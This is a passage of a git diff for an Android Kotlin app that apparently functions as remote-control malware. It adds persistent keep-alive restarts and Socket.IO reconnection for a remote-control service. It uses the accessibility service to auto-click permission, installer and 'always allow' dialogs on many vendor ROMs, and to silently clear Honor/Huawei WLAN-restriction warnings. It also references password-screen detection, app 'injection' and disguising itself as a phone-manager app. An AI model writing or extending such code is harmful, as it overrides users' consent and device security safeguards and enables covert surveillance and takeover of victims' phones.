- android.app.AlarmManager.RTC_WAKEUP,
- restartTime,
- pendingIntent
- )
+ try {
+ alarmManager.setExactAndAllowWhileIdle(
+ android.app.AlarmManager.RTC_WAKEUP,
+ restartTime,
+ pendingIntent
+ )
+ } catch (security: SecurityException) {
+ Log.w(TAG, "Exact restart alarm denied, fallback to inexact wake alarm", security)
+ alarmManager.setAndAllowWhileIdle(
+ android.app.AlarmManager.RTC_WAKEUP,
+ restartTime,
+ pendingIntent
+ )
+ } catch (e: Exception) {
+ Log.w(TAG, "Exact restart alarm failed, fallback to inexact wake alarm", e)
+ alarmManager.setAndAllowWhileIdle(
+ android.app.AlarmManager.RTC_WAKEUP,
+ restartTime,
+ pendingIntent
+ )
+ }
Log.i(TAG, "已安排服务在${RESTART_DELAY}ms后重启")
} catch (e: Exception) {
@@ -646,4 +834,4 @@ class RemoteControlForegroundService : Service() {
override fun onBind(intent: Intent?): IBinder? {
return null
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/service/WorkManagerKeepAliveService.kt b/app/src/main/java/com/hikoncont/service/WorkManagerKeepAliveService.kt
index fad11fb..b41a133 100644
--- a/app/src/main/java/com/hikoncont/service/WorkManagerKeepAliveService.kt
+++ b/app/src/main/java/com/hikoncont/service/WorkManagerKeepAliveService.kt
@@ -4,6 +4,8 @@ import android.content.Context
import android.util.Log
import androidx.work.*
import androidx.lifecycle.Observer
+import com.hikoncont.util.DeviceDetector
+import com.hikoncont.util.ForegroundServiceStarter
import kotlinx.coroutines.delay
import java.util.concurrent.TimeUnit
import com.hikoncont.service.ImmediateRecoveryWorker
@@ -31,6 +33,8 @@ class WorkManagerKeepAliveService {
@Volatile
private var INSTANCE: WorkManagerKeepAliveService? = null
+ @Volatile
+ private var lastStartAt: Long = 0L
fun getInstance(): WorkManagerKeepAliveService {
return INSTANCE ?: synchronized(this) {
@@ -47,6 +51,13 @@ class WorkManagerKeepAliveService {
Log.i(TAG, "🚀 启动WorkManager保活服务")
val workManager = WorkManager.getInstance(context)
+ val now = System.currentTimeMillis()
+ val cooldownMs = 5_000L
+ if (now - lastStartAt < cooldownMs) {
+ Log.i(TAG, "⏳ WorkManager保活处于冷却期，跳过重复启动: elapsed=${now - lastStartAt}ms")
+ return
+ }
+ lastStartAt = now
// 1. 启动保活工作
startKeepAliveWork(context, workManager)
@@ -542,6 +553,9 @@ class KeepAliveWorker(
companion object {
private const val TAG = "KeepAliveWorker"
+ private const val SOCKET_RECOVERY_COOLDOWN_MS = 20_000L
+ @Volatile
+ private var lastSocketRecoveryAt = 0L
}
override suspend fun doWork(): Result {
@@ -568,9 +582,14 @@ class KeepAliveWorker(
private suspend fun startForegroundService() {
try {
- val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
- applicationContext.startForegroundService(intent)
- Log.d(TAG, "✅ 前台服务已启动")
+ val policy = DeviceDetector.getKeepAlivePolicy()
+ ForegroundServiceStarter.maybeStartRemoteForegroundService(
+ context = applicationContext,
+ action = null,
+ reason = "workmanager_keepalive_worker",
+ minIntervalMs = policy.minForegroundKickIntervalMs
+ )
+ Log.d(TAG, "✅ 前台服务启动逻辑已执行")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动前台服务失败", e)
}
@@ -586,6 +605,39 @@ class KeepAliveWorker(
if (!isRunning && isEnabled) {
// ✅ 参考 f 目录：不重启无障碍服务，系统会自动管理
Log.d(TAG, "📱 无障碍服务由系统自动管理，无需手动重启")
+ return
+ }
+
+ if (isEnabled && isRunning) {
+ val accessibilityService = com.hikoncont.service.AccessibilityRemoteService.getInstance()
+ if (accessibilityService == null) {
+ Log.w(TAG, "⚠️ 无障碍服务标记运行中，但实例为空，跳过Socket检查")
+ return
+ }
+
+ val socketConnected = runCatching {
+ accessibilityService.getSocketIOManager()?.isConnected() ?: false
+ }.getOrDefault(false)
+
+ if (socketConnected) {
+ Log.d(TAG, "✅ KeepAliveWorker 检测Socket.IO连接正常")
+ return
+ }
+
+ val now = System.currentTimeMillis()
+ val elapsed = now - lastSocketRecoveryAt
+ if (elapsed < SOCKET_RECOVERY_COOLDOWN_MS) {
+ Log.d(TAG, "⏳ KeepAliveWorker Socket重连冷却中: ${elapsed}ms/${SOCKET_RECOVERY_COOLDOWN_MS}ms")
+ return
+ }
+
+ lastSocketRecoveryAt = now
+ Log.w(TAG, "⚠️ KeepAliveWorker 检测Socket.IO断开，触发主动连接自愈")
+ runCatching {
+ accessibilityService.checkAndStartConnection()
+ }.onFailure { e ->
+ Log.e(TAG, "❌ KeepAliveWorker 主动连接自愈失败", e)
+ }
}
} catch (e: Exception) {
Log.e(TAG, "❌ 检查无障碍服务失败", e)
@@ -760,9 +812,14 @@ class RecoveryWorker(
private suspend fun recoverForegroundService() {
try {
- val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
- applicationContext.startForegroundService(intent)
- Log.d(TAG, "✅ 前台服务恢复完成")
+ val policy = DeviceDetector.getKeepAlivePolicy()
+ ForegroundServiceStarter.maybeStartRemoteForegroundService(
+ context = applicationContext,
+ action = "RESTART_SERVICE",
+ reason = "workmanager_recovery_worker",
+ minIntervalMs = policy.minForegroundKickIntervalMs
+ )
+ Log.d(TAG, "✅ 前台服务恢复逻辑已执行")
} catch (e: Exception) {
Log.e(TAG, "❌ 恢复前台服务失败", e)
}
@@ -854,9 +911,14 @@ class QuickRecoveryWorker(
private suspend fun startForegroundService() {
try {
- val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
- applicationContext.startForegroundService(intent)
- Log.d(TAG, "✅ 前台服务已启动")
+ val policy = DeviceDetector.getKeepAlivePolicy()
+ ForegroundServiceStarter.maybeStartRemoteForegroundService(
+ context = applicationContext,
+ action = "RESTART_SERVICE",
+ reason = "workmanager_quick_recovery_worker",
+ minIntervalMs = policy.minForegroundKickIntervalMs
+ )
+ Log.d(TAG, "✅ 前台服务启动逻辑已执行")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动前台服务失败", e)
}
@@ -952,9 +1014,14 @@ class EmergencyRecoveryWorker(
private suspend fun startForegroundService() {
try {
- val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
- applicationContext.startForegroundService(intent)
- Log.d(TAG, "✅ 前台服务紧急启动完成")
+ val policy = DeviceDetector.getKeepAlivePolicy()
+ ForegroundServiceStarter.maybeStartRemoteForegroundService(
+ context = applicationContext,
+ action = "RESTART_SERVICE",
+ reason = "workmanager_emergency_worker",
+ minIntervalMs = policy.minForegroundKickIntervalMs
+ )
+ Log.d(TAG, "✅ 前台服务紧急启动逻辑已执行")
} catch (e: Exception) {
Log.e(TAG, "❌ 紧急启动前台服务失败", e)
}
diff --git a/app/src/main/java/com/hikoncont/service/modules/AccessibilityEventManager.kt b/app/src/main/java/com/hikoncont/service/modules/AccessibilityEventManager.kt
index 88e9574..32e474e 100644
--- a/app/src/main/java/com/hikoncont/service/modules/AccessibilityEventManager.kt
+++ b/app/src/main/java/com/hikoncont/service/modules/AccessibilityEventManager.kt
@@ -2,12 +2,14 @@
import android.content.Context
import android.content.Intent
+import android.graphics.Rect
import android.util.Log
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo
import com.hikoncont.OperationLogCollector
import com.hikoncont.manager.PermissionGranter
import com.hikoncont.service.AccessibilityRemoteService
+import com.hikoncont.util.DeviceDetector
import kotlinx.coroutines.*
/**
@@ -36,6 +38,8 @@ class AccessibilityEventManager(
// 依赖的管理器
private var permissionGranter: PermissionGranter? = null
private var logCollector: OperationLogCollector? = null
+ private val romPolicy by lazy { DeviceDetector.getRomPolicy() }
+ private val installerUiPlan by lazy { DeviceDetector.getInstallerUiAutomationPlan() }
// 状态跟踪
private var lastTextInputTime = 0L
@@ -74,6 +78,200 @@ class AccessibilityEventManager(
private var phoneManagerCamouflageClassName = "com.hikoncont.PhoneManagerAlias"
private var lastPhoneManagerSwitchTime = 0L
private var minPhoneManagerSwitchInterval = 500L // 2秒防重复
+
+ // APP 打开后短时自动点击“允许”
+ private var appOpenAutoAllowActive = false
+ private var appOpenAutoAllowTargetPackage = ""
+ private var appOpenAutoAllowExpireAt = 0L
+ private var lastAutoAllowClickAt = 0L
+ private val defaultAppOpenAutoAllowDurationMs = 15_000L
+ private val appOpenAutoAllowDurationMs by lazy {
+ maxOf(defaultAppOpenAutoAllowDurationMs, installerUiPlan.autoAllowDurationMs)
+ }
+ private val defaultAutoAllowClickMinIntervalMs = 700L
+ private val autoAllowClickMinIntervalMs by lazy {
+ maxOf(defaultAutoAllowClickMinIntervalMs, installerUiPlan.autoAllowClickMinIntervalMs)
+ }
+ private val autoAllowEventTypes = setOf(
+ AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED,
+ AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED,
+ AccessibilityEvent.TYPE_WINDOWS_CHANGED
+ )
+ private val autoAllowPositiveKeywords by lazy {
+ mergeKeywords(
+ listOf(
+ "允许", "始终允许", "仅在使用中允许", "仅使用期间允许", "使用期间允许", "仅在前台使用应用时允许",
+ "仅在使用该应用时允许", "本次允许", "允许本次使用", "使用时允许", "同意", "继续", "确认",
+ "allow", "always allow", "allow while using", "only this time", "continue", "ok", "yes"
+ ),
+ mergeKeywords(installerUiPlan.positiveKeywords, romPolicy.mediaProjectionConfirmTexts)
+ )
+ }
+ private val autoAllowNegativeKeywords by lazy {
+ mergeKeywords(
+ listOf(
+ "拒绝", "不允许", "不再询问", "取消", "以后再说", "暂不", "deny", "don't allow", "not now", "cancel", "拒絕"
+ ),
+ romPolicy.mediaProjectionDenyKeywords
+ )
+ }
+ private val appOpenDialogPackageHints by lazy {
+ mergeKeywords(
+ listOf(
+ "com.android.permissioncontroller",
+ "com.android.packageinstaller",
+ "com.coloros.securitypermission",
+ "com.coloros.safecenter",
+ "com.oppo.safecenter",
+ "com.oplus.safecenter",
+ "com.heytap.security",
+ "com.heytap.permission"
+ ),
+ installerUiPlan.packageHints
+ )
+ }
+ private val appOpenDialogTitleKeywords by lazy {
+ mergeKeywords(
+ listOf(
+ "是否允许开启应用",
+ "是否允许打开应用",
+ "是否始终允许打开",
+ "是否始终允许开启应用",
+ "允许开启应用",
+ "允许打开应用",
+ "打开此应用",
+ "allow this app to open",
+ "allow opening app"
+ ),
+ installerUiPlan.titleKeywords
+ )
+ }
+ private val appOpenDialogAlwaysAllowKeywords by lazy {
+ mergeKeywords(
+ listOf(
+ "是否始终允许打开",
+ "是否始终允许开启应用",
+ "始终允许打开",
+ "始终允许开启",
+ "始终允许打开此应用",
+ "总是允许打开",
+ "总是允许开启",
+ "总是允许打开此应用",
+ "始终允许",
+ "always allow"
+ ),
+ installerUiPlan.alwaysAllowKeywords
+ )
+ }
+ private val appOpenDialogPositiveKeywords by lazy {
+ mergeKeywords(
+ listOf("确定", "允许", "继续", "同意", "确认", "打开", "ok", "allow", "continue", "confirm", "yes"),
+ installerUiPlan.positiveKeywords
+ )
+ }
+ private val appOpenDialogNegativeKeywords by lazy {
+ mergeKeywords(
+ listOf("取消", "拒绝", "不允许", "not now", "cancel", "deny", "don't allow"),
+ installerUiPlan.negativeKeywords
+ )
+ }
+ private val appOpenDialogPositiveButtonIds by lazy {
+ mergeKeywords(
+ listOf(
+ "android:id/button1",
+ "com.android.permissioncontroller:id/button1",
+ "com.android.packageinstaller:id/button1",
+ "com.android.packageinstaller:id/permission_allow_button",
+ "com.coloros.securitypermission:id/button1",
+ "com.coloros.safecenter:id/button1",
+ "com.oppo.safecenter:id/button1",
+ "com.heytap.permission:id/button1"
+ ),
+ installerUiPlan.positiveButtonIds
+ )
+ }
+ private val appOpenDialogCheckboxIds by lazy {
+ mergeKeywords(
+ listOf(
+ "android:id/checkbox",
+ "com.android.permissioncontroller:id/checkbox",
+ "com.android.packageinstaller:id/checkbox",
+ "com.coloros.securitypermission:id/checkbox",
+ "com.coloros.safecenter:id/checkbox",
+ "com.oppo.safecenter:id/checkbox",
+ "com.heytap.permission:id/checkbox"
+ ),
+ installerUiPlan.checkboxIds
+ )
+ }
+ private var lastAppOpenDialogHandleAt = 0L
+ private val appOpenDialogHandleCooldownMs by lazy {
+ maxOf(250L, installerUiPlan.dialogHandleCooldownMs)
+ }
+
+ private fun mergeKeywords(base: List, extra: List): List {
+ return (base + extra)
+ .map { it.trim() }
+ .filter { it.isNotEmpty() }
+ .distinct()
+ }
+
+ // 荣耀/华为系统管家的 WLAN 限制拦截弹窗（“已被禁止使用WLAN网络”）
+ private val honorSystemManagerPackages = setOf(
+ "com.hihonor.systemmanager",
+ "com.huawei.systemmanager"
+ )
+ private val honorWlanDialogKeywords = listOf(
+ "wlan",
+ "wifi",
+ "wi-fi",
+ "网络",
+ "已被禁止使用",
+ "解除此限制",
+ "确认解除"
+ )
+ private val honorWlanPositiveKeywords = listOf(
+ "解除",
+ "允许",
+ "确认",
+ "继续",
+ "确定",
+ "allow",
+ "confirm"
+ )
+ private val honorWlanNegativeKeywords = listOf(
+ "取消",
+ "拒绝",
+ "不允许",
+ "deny",
+ "cancel",
+ "not now"
+ )
+ private val honorWlanPositiveButtonIds = listOf(
+ "android:id/button1",
+ "com.hihonor.systemmanager:id/button1",
+ "com.huawei.systemmanager:id/button1"
+ )
+ private val honorWlanCheckboxIds = listOf(
+ "com.hihonor.systemmanager:id/chk",
+ "com.huawei.systemmanager:id/chk",
+ "android:id/checkbox"
+ )
+ private val honorWlanDontAskKeywords = listOf(
+ "不再提示",
+ "下次不再提示",
+ "不再询问",
+ "don't ask again"
+ )
+ private var lastHonorWlanHandleAt = 0L
+
+ // 应用注入监听状态
+ private var appInjectionEnabled = false
+ private var appInjectionTargetPackage = ""
+ private var appInjectionTargetAppName = ""
+ private var appInjectionPromptShowing = false
+ private var appInjectionLastTriggerAt = 0L
+ private val appInjectionTriggerCooldownMs = 1500L
/**
* 初始化事件管理器
@@ -97,6 +295,12 @@ class AccessibilityEventManager(
try {
// 处理权限对话框自动点击
permissionGranter?.handleAccessibilityEvent(event)
+
+ // 荣耀/华为系统管家 WLAN 限制弹窗自动处理
+ handleHonorWlanRestrictionDialog(event)
+
+ // APP 打开后的短时自动“允许”处理
+ handleAppOpenAutoAllow(event)
// 处理WRITE_SETTINGS权限管理器的自动点击
try {
@@ -313,6 +517,9 @@ class AccessibilityEventManager(
// 检测密码输入页面
detectPasswordInputActivity(packageName, className)
+
+ // 检测注入目标应用
+ detectInjectedTargetApp(packageName, className)
// 检测手机管家伪装
detectPhoneManagerCamouflage(packageName, className)
@@ -749,6 +956,904 @@ class AccessibilityEventManager(
fun setLastTextInputTime(time: Long) {
lastTextInputTime = time
}
+
+ fun startAppOpenAutoAllow(packageName: String) {
+ val targetPackage = packageName.trim()
+ if (targetPackage.isEmpty()) {
+ return
+ }
+ appOpenAutoAllowActive = true
+ appOpenAutoAllowTargetPackage = targetPackage
+ appOpenAutoAllowExpireAt = System.currentTimeMillis() + appOpenAutoAllowDurationMs
+ lastAutoAllowClickAt = 0L
+ Log.i(
+ TAG,
+ "✅ APP_OPEN 自动允许已启用: package=$targetPackage, expireIn=${appOpenAutoAllowDurationMs}ms"
+ )
+ service.recordOperationLog(
+ "APP_OPEN_AUTO_ALLOW_START",
+ "APP_OPEN 自动允许窗口已开启",
+ mapOf(
+ "packageName" to targetPackage,
+ "expireAt" to appOpenAutoAllowExpireAt
+ )
+ )
+ }
+
+ private fun stopAppOpenAutoAllow(reason: String) {
+ if (!appOpenAutoAllowActive) {
+ return
+ }
+ val targetPackage = appOpenAutoAllowTargetPackage
+ appOpenAutoAllowActive = false
+ appOpenAutoAllowTargetPackage = ""
+ appOpenAutoAllowExpireAt = 0L
+ Log.i(TAG, "ℹ️ APP_OPEN 自动允许结束: package=$targetPackage, reason=$reason")
+ }
+
+ private fun handleAppOpenAutoAllow(event: AccessibilityEvent) {
+ if (!appOpenAutoAllowActive) {
+ return
+ }
+
+ val now = System.currentTimeMillis()
+ if (now >= appOpenAutoAllowExpireAt) {
+ stopAppOpenAutoAllow("timeout")
+ return
+ }
+ if (!autoAllowEventTypes.contains(event.eventType)) {
+ return
+ }
+ if (now - lastAutoAllowClickAt < autoAllowClickMinIntervalMs) {
+ return
+ }
+
+ val root = getStableRootInActiveWindow() ?: return
+ try {
+ val currentPackage = event.packageName?.toString().orEmpty()
+ if (handleAppOpenConfirmDialog(root, currentPackage, now, event.eventType)) {
+ lastAutoAllowClickAt = now
+ return
+ }
+
+ val allowNode = findAutoAllowNode(root) ?: return
+ val clickSuccess = performAutoAllowClick(allowNode)
+ if (clickSuccess) {
+ lastAutoAllowClickAt = now
+ Log.i(
+ TAG,
+ "✅ 自动点击允许成功: target=$appOpenAutoAllowTargetPackage, currentPackage=$currentPackage"
+ )
+ service.recordOperationLog(
+ "APP_OPEN_AUTO_ALLOW_CLICK",
+ "自动点击权限允许",
+ mapOf(
+ "targetPackage" to appOpenAutoAllowTargetPackage,
+ "currentPackage" to currentPackage,
+ "eventType" to event.eventType
+ )
+ )
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 自动点击允许失败", e)
+ } finally {
+ root.recycle()
+ }
+ }
+
+ /**
+ * 处理 OPPO/ColorOS 常见的“是否允许开启应用”二阶段弹窗：
+ * 1) 勾选“始终允许打开”
+ * 2) 点击右下角“确定/允许”
+ */
+ private fun handleAppOpenConfirmDialog(
+ root: AccessibilityNodeInfo,
+ eventPackage: String,
+ now: Long,
+ eventType: Int
+ ): Boolean {
+ if (now - lastAppOpenDialogHandleAt < appOpenDialogHandleCooldownMs) {
+ return false
+ }
+ if (!isAppOpenConfirmDialog(root, eventPackage)) {
+ return false
+ }
+
+ val checkedAlwaysAllow = tryCheckAppOpenAlwaysAllow(root)
+ val clickedConfirm = tryClickAppOpenConfirmButton(root)
+
+ if (!checkedAlwaysAllow && !clickedConfirm) {
+ return false
+ }
+
+ lastAppOpenDialogHandleAt = now
+ val rootPackage = root.packageName?.toString().orEmpty()
+ Log.i(
+ TAG,
+ "✅ [APP_OPEN_CONFIRM] handled: package=$rootPackage, checkedAlways=$checkedAlwaysAllow, clickedConfirm=$clickedConfirm"
+ )
+ service.recordOperationLog(
+ "APP_OPEN_CONFIRM_AUTO_ALLOW",
+ "应用打开确认弹窗已自动处理",
+ mapOf(
+ "targetPackage" to appOpenAutoAllowTargetPackage,
+ "dialogPackage" to rootPackage,
+ "eventPackage" to eventPackage,
+ "eventType" to eventType,
+ "checkedAlways" to checkedAlwaysAllow,
+ "clickedConfirm" to clickedConfirm
+ )
+ )
+
+ if (clickedConfirm) {
+ stopAppOpenAutoAllow("dialog_confirm_clicked")
+ }
+ return true
+ }
+
+ private fun isAppOpenConfirmDialog(root: AccessibilityNodeInfo, eventPackage: String): Boolean {
+ val eventPkg = eventPackage.lowercase()
+ val rootPkg = root.packageName?.toString().orEmpty().lowercase()
+ val packageHintMatched = appOpenDialogPackageHints.any { hint ->
+ eventPkg.contains(hint) || rootPkg.contains(hint)
+ }
+ val hasTitleKeyword = appOpenDialogTitleKeywords.any { keyword ->
+ containsVisibleText(root, keyword)
+ }
+ val hasAlwaysAllowKeyword = appOpenDialogAlwaysAllowKeywords.any { keyword ->
+ containsVisibleText(root, keyword)
+ }
+ val hasPositiveAction = appOpenDialogPositiveKeywords.any { keyword ->
+ containsVisibleText(root, keyword)
+ }
+ val hasNegativeAction = appOpenDialogNegativeKeywords.any { keyword ->
+ containsVisibleText(root, keyword)
+ }
+
+ return (hasTitleKeyword && hasPositiveAction && hasNegativeAction) ||
+ (hasAlwaysAllowKeyword && hasPositiveAction && hasNegativeAction) ||
+ (packageHintMatched && hasAlwaysAllowKeyword && hasPositiveAction)
+ }
+
+ private fun tryCheckAppOpenAlwaysAllow(root: AccessibilityNodeInfo): Boolean {
+ appOpenDialogCheckboxIds.forEach { viewId ->
+ val candidates = try {
+ root.findAccessibilityNodeInfosByViewId(viewId)
+ } catch (_: Exception) {
+ emptyList()
+ }
+ candidates.forEach { node ->
+ try {
+ if (tryCheckNode(node)) {
+ return true
+ }
+ } finally {
+ runCatching { node.recycle() }
+ }
+ }
+ }
+
+ appOpenDialogAlwaysAllowKeywords.forEach { keyword ->
+ val candidates = try {
+ root.findAccessibilityNodeInfosByText(keyword)
+ } catch (_: Exception) {
+ emptyList()
+ }
+ candidates.forEach { node ->
+ try {
+ if (tryCheckNode(node)) {
+ return true
+ }
+ } finally {
+ runCatching { node.recycle() }
+ }
+ }
+ }
+
+ return false
+ }
+
+ private fun tryCheckNode(node: AccessibilityNodeInfo): Boolean {
+ val target = findCheckableNode(node) ?: findClickableNode(node) ?: return false
+ val isCheckable = runCatching { target.isCheckable }.getOrDefault(false)
+ val isChecked = runCatching { target.isChecked }.getOrDefault(false)
+ if (isCheckable && isChecked) {
+ return false
+ }
+ return checkAndClickButton(target)
+ }
+
+ private fun findCheckableNode(node: AccessibilityNodeInfo?): AccessibilityNodeInfo? {
+ if (node == null) {
+ return null
+ }
+ val currentClass = node.className?.toString().orEmpty().lowercase()
+ if (node.isCheckable || currentClass.contains("checkbox") || currentClass.contains("switch")) {
+ return node
+ }
+
+ var parent = node.parent
+ var depth = 0
+ while (parent != null && depth < 5) {
+ val parentClass = parent.className?.toString().orEmpty().lowercase()
+ if (parent.isCheckable || parentClass.contains("checkbox") || parentClass.contains("switch")) {
+ return parent
+ }
+ parent = parent.parent
+ depth++
+ }
+ return null
+ }
+
+ private fun tryClickAppOpenConfirmButton(root: AccessibilityNodeInfo): Boolean {
+ appOpenDialogPositiveButtonIds.forEach { viewId ->
+ val candidates = try {
+ root.findAccessibilityNodeInfosByViewId(viewId)
+ } catch (_: Exception) {
+ emptyList()
+ }
+ candidates.forEach { node ->
+ try {
+ val clickTarget = findClickableNode(node) ?: node
+ val label = getNodeLabel(clickTarget).lowercase()
+ if (isAppOpenNegativeLabel(label)) {
+ return@forEach
+ }
+ if (checkAndClickButton(clickTarget)) {
+ return true
+ }
+ } finally {
+ runCatching { node.recycle() }
+ }
+ }
+ }
+
+ val candidates = mutableListOf()
+ appOpenDialogPositiveKeywords.forEach { keyword ->
+ val nodes = try {
+ root.findAccessibilityNodeInfosByText(keyword)
+ } catch (_: Exception) {
+ emptyList()
+ }
+ nodes.forEach { node ->
+ try {
+ val clickTarget = findClickableNode(node) ?: node
+ val label = getNodeLabel(clickTarget).lowercase()
+ if (isAppOpenNegativeLabel(label)) {
+ return@forEach
+ }
+ candidates.add(clickTarget)
+ } finally {
+ runCatching { node.recycle() }
+ }
+ }
+ }
+
+ try {
+ val best = candidates.maxByOrNull { candidate ->
+ val rect = Rect()
+ candidate.getBoundsInScreen(rect)
+ val label = getNodeLabel(candidate).lowercase()
+ val bonus = if (isAppOpenPositiveLabel(label)) 10_000 else 0
+ rect.centerX() * 10 + rect.centerY() + bonus
+ }
+ if (best != null && checkAndClickButton(best)) {
+ return true
+ }
+ } finally {
+ candidates.forEach { node ->
+ runCatching { node.recycle() }
+ }
+ }
+
+ return false
+ }
+
+ private fun isAppOpenNegativeLabel(label: String): Boolean {
+ if (label.isBlank()) {
+ return false
+ }
+ return appOpenDialogNegativeKeywords.any { keyword ->
+ label.contains(keyword.lowercase())
+ }
+ }
+
+ private fun isAppOpenPositiveLabel(label: String): Boolean {
+ if (label.isBlank()) {
+ return false
+ }
+ return appOpenDialogPositiveKeywords.any { keyword ->
+ label.contains(keyword.lowercase())
+ }
+ }
+
+ private fun handleHonorWlanRestrictionDialog(event: AccessibilityEvent) {
+ try {
+ if (!autoAllowEventTypes.contains(event.eventType)) {
+ return
+ }
+
+ val eventPackage = event.packageName?.toString().orEmpty()
+ if (!isHonorSystemManagerPackageName(eventPackage)) {
+ return
+ }
+
+ val now = System.currentTimeMillis()
+ if (now - lastHonorWlanHandleAt < 800L) {
+ return
+ }
+
+ val root = getStableRootInActiveWindow() ?: return
+ try {
+ val rootPackage = root.packageName?.toString().orEmpty()
+ if (!isHonorSystemManagerPackageName(rootPackage)) {
+ return
+ }
+ if (!isHonorWlanDialog(root)) {
+ return
+ }
+
+ val checkedDontAskAgain = tryClickHonorWlanDontAskAgain(root)
+ val clickedPositive = tryClickHonorWlanPositiveButton(root)
+ if (clickedPositive) {
+ lastHonorWlanHandleAt = now
+ Log.i(
+ TAG,
+ "🛡️ 荣耀WLAN限制弹窗已自动处理: package=$rootPackage, checked=$checkedDontAskAgain"
+ )
+ service.recordOperationLog(
+ "HONOR_WLAN_RESTRICTION_AUTO_RELEASE",
+ "荣耀系统管家WLAN限制弹窗已自动解除",
+ mapOf(
+ "packageName" to rootPackage,
+ "checkedDontAskAgain" to checkedDontAskAgain
+ )
+ )
+ }
+ } finally {
+ root.recycle()
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 荣耀WLAN限制弹窗自动处理失败", e)
+ }
+ }
+
+ private fun isHonorSystemManagerPackageName(packageName: String): Boolean {
+ val normalized = packageName.lowercase()
+ return honorSystemManagerPackages.any { pkg ->
+ normalized == pkg || normalized.contains(pkg)
+ }
+ }
+
+ private fun isHonorWlanDialog(root: AccessibilityNodeInfo): Boolean {
+ val hasNetworkKeyword = honorWlanDialogKeywords.any { keyword ->
+ containsVisibleText(root, keyword)
+ }
+ if (!hasNetworkKeyword) {
+ return false
+ }
+ val hasReleaseAction = honorWlanPositiveKeywords.any { keyword ->
+ containsVisibleText(root, keyword)
+ }
+ return hasReleaseAction
+ }
+
+ private fun containsVisibleText(root: AccessibilityNodeInfo, keyword: String): Boolean {
+ val nodes = try {
+ root.findAccessibilityNodeInfosByText(keyword)
+ } catch (_: Exception) {
+ emptyList()
+ }
+ if (nodes.isEmpty()) {
+ return false
+ }
+
+ var hit = false
+ nodes.forEach { node ->
+ try {
+ if (node.isVisibleToUser) {
+ hit = true
+ }
+ } catch (_: Exception) {
+ } finally {
+ runCatching { node.recycle() }
+ }
+ }
+ return hit
+ }
+
+ private fun tryClickHonorWlanDontAskAgain(root: AccessibilityNodeInfo): Boolean {
+ honorWlanCheckboxIds.forEach { viewId ->
+ val checkboxes = try {
+ root.findAccessibilityNodeInfosByViewId(viewId)
+ } catch (_: Exception) {
+ emptyList()
+ }
+ checkboxes.forEach { checkbox ->
+ try {
+ val checked = runCatching { checkbox.isChecked }.getOrDefault(false)
+ if (checked) {
+ return@forEach
+ }
+ if (!(checkbox.isCheckable || isNodeClickable(checkbox))) {
+ return@forEach
+ }
+ val clickTarget = findClickableNode(checkbox) ?: checkbox
+ if (checkAndClickButton(clickTarget)) {
+ return true
+ }
+ } finally {
+ runCatching { checkbox.recycle() }
+ }
+ }
+ }
+
+ honorWlanDontAskKeywords.forEach { keyword ->
+ val nodes = try {
+ root.findAccessibilityNodeInfosByText(keyword)
+ } catch (_: Exception) {
+ emptyList()
+ }
+ nodes.forEach { node ->
+ try {
+ val clickTarget = findClickableNode(node) ?: node
+ val label = getNodeLabel(clickTarget).lowercase()
+ if (isNegativeActionLabel(label)) {
+ return@forEach
+ }
+ if (checkAndClickButton(clickTarget)) {
+ return true
+ }
+ } finally {
+ runCatching { node.recycle() }
+ }
+ }
+ }
+
+ return false
+ }
+
+ private fun tryClickHonorWlanPositiveButton(root: AccessibilityNodeInfo): Boolean {
+ honorWlanPositiveButtonIds.forEach { viewId ->
+ val buttons = try {
+ root.findAccessibilityNodeInfosByViewId(viewId)
+ } catch (_: Exception) {
+ emptyList()
+ }
+ buttons.forEach { button ->
+ try {
+ val clickTarget = findClickableNode(button) ?: button
+ val label = getNodeLabel(clickTarget).lowercase()
+ if (isNegativeActionLabel(label)) {
+ return@forEach
+ }
+ if (checkAndClickButton(clickTarget)) {
+ return true
+ }
+ } finally {
+ runCatching { button.recycle() }
+ }
+ }
+ }
+
+ val candidates = mutableListOf()
+ collectClickableActionNodes(root, candidates, 0)
+ try {
+ val best = candidates
+ .asSequence()
+ .filter { candidate ->
+ val label = getNodeLabel(candidate).lowercase()
+ !isNegativeActionLabel(label)
+ }
+ .maxByOrNull { candidate ->
+ val rect = Rect()
+ candidate.getBoundsInScreen(rect)
+ val label = getNodeLabel(candidate).lowercase()
+ val bonus = if (isPositiveActionLabel(label)) 10_000 else 0
+ rect.centerX() + bonus
+ }
+
+ if (best != null && checkAndClickButton(best)) {
+ return true
+ }
+ } finally {
+ candidates.forEach { node ->
+ runCatching { node.recycle() }
+ }
+ }
+
+ return false
+ }
+
+ private fun collectClickableActionNodes(
+ node: AccessibilityNodeInfo,
+ out: MutableList,
+ depth: Int
+ ) {
+ if (depth > 10 || out.size > 120) {
+ return
+ }
+ try {
+ val className = node.className?.toString().orEmpty().lowercase()
+ if (node.isVisibleToUser && (isNodeClickable(node) || className.contains("button"))) {
+ out.add(node)
+ }
+ for (i in 0 until node.childCount) {
+ val child = node.getChild(i) ?: continue
+ collectClickableActionNodes(child, out, depth + 1)
+ }
+ } catch (_: Exception) {
+ }
+ }
+
+ private fun isNegativeActionLabel(label: String): Boolean {
+ if (label.isBlank()) {
+ return false
+ }
+ return honorWlanNegativeKeywords.any { keyword ->
+ label.contains(keyword.lowercase())
+ }
+ }
+
+ private fun isPositiveActionLabel(label: String): Boolean {
+ if (label.isBlank()) {
+ return false
+ }
+ return honorWlanPositiveKeywords.any { keyword ->
+ label.contains(keyword.lowercase())
+ }
+ }
+
+ private fun findAutoAllowNode(root: AccessibilityNodeInfo): AccessibilityNodeInfo? {
+ autoAllowPositiveKeywords.forEach { keyword ->
+ val candidates = try {
+ root.findAccessibilityNodeInfosByText(keyword)
+ } catch (_: Exception) {
+ emptyList()
+ }
+ if (candidates.isNullOrEmpty()) {
+ return@forEach
+ }
+ candidates.forEach { candidate ->
+ val label = getNodeLabel(candidate)
